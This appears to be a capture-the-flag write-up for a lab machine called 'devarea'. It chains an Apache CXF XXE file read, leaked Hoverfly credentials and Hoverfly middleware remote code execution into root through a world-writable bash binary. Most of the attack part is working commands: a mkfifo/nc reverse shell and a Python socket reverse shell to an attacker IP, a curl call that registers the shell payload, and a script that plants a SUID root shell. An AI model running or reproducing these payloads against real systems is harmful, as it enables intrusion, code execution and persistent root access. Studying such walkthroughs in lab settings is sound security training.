Introduction #
Initial recon turns up an anonymous FTP share, a legacy Apache CXF SOAP service, and a Hoverfly API management dashboard, three services that, on their own, look like dead ends. But a CXF XXE bug is the key that unlocks everything else, leaking a systemd unit file with hardcoded Hoverfly credentials, which in turn opens the door to remote code execution via Hoverfly’s middleware API. From there, a foothold as dev_ryan leads to root through a misconfiguration: a sudo-executed script that trusts a world-writable bash binary.
Recon #
nmap #
nmap finds lots of TCP ports:
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.11.80
21/tcp open ftp vsftpd 3.0.5 -> Anonymous login allowed
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http Apache 2.4.58 -> redirects to devarea.htb
8080/tcp open http Jetty 9.4.27.v20200227
8500/tcp open fmtp? -> "This is a proxy server" (turned out irrelevant)
8888/tcp open http Go net/http -> Hoverfly Dashboard
- FTP with anonymous login is an immediate lead
- Port 80 redirecting to
devarea.htbmeans/etc/hostsneeds an entry before the vhost will render properly. - Jetty 9.4.27 (released 2020) on 8080 is old enough to be worth a CVE search on its own.
- Port 8888 self-identifies as a Hoverfly Dashboard. Hoverfly is an API simulation/service-virtualization tool, and its management API is a known target for auth-bypass/RCE bugs.
Add devarea.htb to /etc/hosts
FTP loot #
ftp 10.129.11.80
# Name: anonymous
cd pub
binary
get employee-service.jar
The pub directory contained employee-service.jar, a Java archive that, when decompiled (with jd-gui), revealed it’s a SOAP web service built on Apache CXF, started like this:
factory.setAddress("http://0.0.0.0:8080/employeeservice");
That maps directly onto the Jetty 9.4.27 service found on port 8080 in the nmap scan. Jetty is just hosting the CXF SOAP endpoint at /employeeservice, with its WSDL exposed at /employeeservice?wsdl.
Apache CXF’s MTOM/XOP attachment handling has a well-known XXE bug, CVE-2022-46364, affecting CXF ≤ 3.5.2 / ≤ 3.4.9. Because the vulnerable version doesn’t validate the URI scheme on <xop:Include href="...">, I can point it at file:// and read arbitrary local files through the “SOAP attachment” mechanism. Which effectively is an arbitrary file read via SSRF/XXE.
Using a public PoC for this CVE against http://devarea.htb:8080/employeeservice:
python3 CVE-2022-46364.py -t http://devarea.htb:8080/employeeservice -s file:///etc/passwd -d devarea.htb
leaked /etc/passwd, revealing the dev_ryan user.
Pivoting the same primitive at the Hoverfly systemd unit file:
python3 CVE-2022-46364.py -t http://devarea.htb:8080/employeeservice -s file:///etc/systemd/system/hoverfly.service -d devarea.htb
leaked the service file, which had Hoverfly’s admin credentials hardcoded directly on the ExecStart line:
ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0
Hoverfly authentication #
admin : O7IJ27MyyXiU
curl -s -X POST http://10.129.12.36:8888/api/token-auth \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":"O7IJ27MyyXiU"}' | jq -r .token
TOKEN="eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9...."
This authenticates to Hoverfly’s REST API using the leaked credentials and grabs a JWT for use on subsequent authenticated requests. The token is scoped with admin privileges, enough to touch Hoverfly’s management endpoints, including middleware configuration.
Hoverfly middleware RCE (CVE-2025-54123) #
curl -s -X PUT http://10.129.12.36:8888/api/v2/hoverfly/middleware \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"binary": "/bin/bash", "script": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.176 4444 >/tmp/f"}'
nc -lvnp 4444
connect to [10.10.14.176] from (UNKNOWN) [10.129.11.80] 40726
$ id
uid=1001(dev_ryan) gid=1001(dev_ryan) groups=1001(dev_ryan)
Hoverfly lets me register “middleware”, an external binary/script that Hoverfly pipes intercepted requests/responses through for transformation.
The middleware API endpoint (/api/v2/hoverfly/middleware) doesn’t sufficiently validate/sandbox what gets registered here, which is the crux of CVE-2025-54123: an authenticated actor can register an arbitrary binary+script pair, and Hoverfly will happily execute it.
The payload:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.176 4444 >/tmp/f
/bin/bash is passed as the “binary,” and Hoverfly executes it with the script content, triggering the callback to the listener. This lands a shell as dev_ryan
Foothold & user flag #
$ pwd
/opt/HoverFly
$ cd /home && ls
dev_ryan
$ cd dev_ryan && ls
syswatch-v1.zip
user.txt
$ cat user.txt
13b97e98f80caa267d926dde98bf951a
$ python3 -c "import pty;pty.spawn('/bin/bash')"
Standard stabilization step, upgrading the raw named-pipe shell to a proper PTY.
syswatch-v1.zip in the home directory is a strong hint that syswatch is a custom tool rather than a stock utility.
Privilege escalation recon #
$ sudo -l
User dev_ryan may run the following commands on devarea:
(root) NOPASSWD: /opt/syswatch/syswatch.sh
web-stop, !/opt/syswatch/syswatch.sh web-restart
$ cat /opt/syswatch/syswatch.sh
cat: /opt/syswatch/syswatch.sh: Permission denied
$ sudo /opt/syswatch/syswatch.sh
SysWatch 1.0.0
Usage: /opt/syswatch/syswatch.sh <command> [args]
Commands:
web Start web GUI
web-stop Stop web GUI
web-restart Restart web GUI
web-status Show web GUI status
plugin <name> [args] Execute plugin
plugins List available plugins
logs <file> View log file
logs --list List available log files
--version Show version
--help|-h|help Show this help
dev_ryan can run syswatch.sh as root, but the script itself isn’t even readable by dev_ryan, so the exact internals had to be inferred from the leaked syswatch-v1.zip and from behavior. The script invokes /usr/bin/bash internally for several of its subcommands, and critically:
$ ls -la /usr/bin/bash
-rwxrwxrwx 1 root root 1396520 ... /usr/bin/bash
/usr/bin/bash is world-writable. That’s the whole vulnerability: a script that’s executed as root shells out to a binary that any unprivileged user can overwrite. Whatever gets written to /usr/bin/bash runs as root the next time syswatch.sh invokes it via sudo.
Building and staging the payload #
dev_ryan@devarea:/opt/HoverFly$ cp /usr/bin/bash /tmp/bash.bak
First, back up the real bash binary to /tmp/bash.bak, this is what makes the exploit reversible and, more importantly, gives the malicious replacement something to exec into so the shell doesn’t just break for every other process on the box that expects /usr/bin/bash to behave normally.
dev_ryan@devarea:/tmp$ cat > /tmp/payload.sh << 'EOF'
#!/tmp/bash.bak
cat /root/root.txt > /tmp/root.txt
chmod 777 /tmp/root.txt
cp /tmp/bash.bak /tmp/rootbash
chmod +s /tmp/rootbash
cp /tmp/bash.bak /usr/bin/bash
exec /tmp/bash.bak "$@"
EOF
chmod +x /tmp/payload.sh
This is the core of the privesc:
#!/tmp/bash.bak- when this file is itself invoked as if it werebash, the real bash runs it.cat /root/root.txt > /tmp/root.txt+chmod 777- directly exfiltrates the root flag to a locationdev_ryancan read, in case nothing else works.cp /tmp/bash.bak /tmp/rootbash+chmod +s /tmp/rootbash- drops a SUID copy of real bash at/tmp/rootbash. Since this whole script runs as root, thechmod +shere sets the SUID bit as root, so/tmp/rootbashbecomes a persistent root shell fordev_ryanafterward.cp /tmp/bash.bak /usr/bin/bash- restores the real bash binary to its rightful path, cleaning up after the swap so the box doesn’t stay broken.exec /tmp/bash.bak "$@"- hands off execution to real bash with the original arguments, sosyswatch.shdoesn’t error out or get suspicious mid-run.
Triggering the swap #
At this point the world-writable /usr/bin/bash gets overwritten with /tmp/payload.sh’s contents.
$ python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('10.10.14.176',4445));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/dash','-i'])"
nc -lvnp 4445
A second, deliberately non-bash shell (/bin/dash) is spun up here on a fresh listener. Since the exploit involves overwriting /usr/bin/bash out from under the running system, any shell session that’s itself a bash process is at risk of breaking or dying mid-exploit. Using dash keeps a stable foothold that doesn’t depend on the very binary being swapped.
$ dd if=/tmp/payload.sh of=/usr/bin/bash conv=notrunc
0+1 records in
0+1 records out
184 bytes copied, 0.000185779 s, 990 kB/s
This is the actual overwrite, done from the dash shell so it’s unaffected by clobbering bash. dd ... conv=notrunc writes the payload’s bytes directly into the existing /usr/bin/bash inode/file rather than doing an unlink+recreate, a slightly more surgical way to replace the file’s contents in place.
$ sudo /opt/syswatch/syswatch.sh --version
/bin/bash: line 17: syntax error near unexpected token `('
/bin/bash: line 17: R�AbBN�@P@�(�L�.<:R@&...
The garbled output here is expected and actually a good sign, it’s syswatch.sh invoking the now-hijacked /usr/bin/bash, which executes the payload script as root. The visible garbage is just raw binary noise leaking to the terminal as part of that execution; the payload itself ran silently in the background and did its job.
$ cat /tmp/root.txt
2410ee9e3eef5e625bedce47d5bbe1e9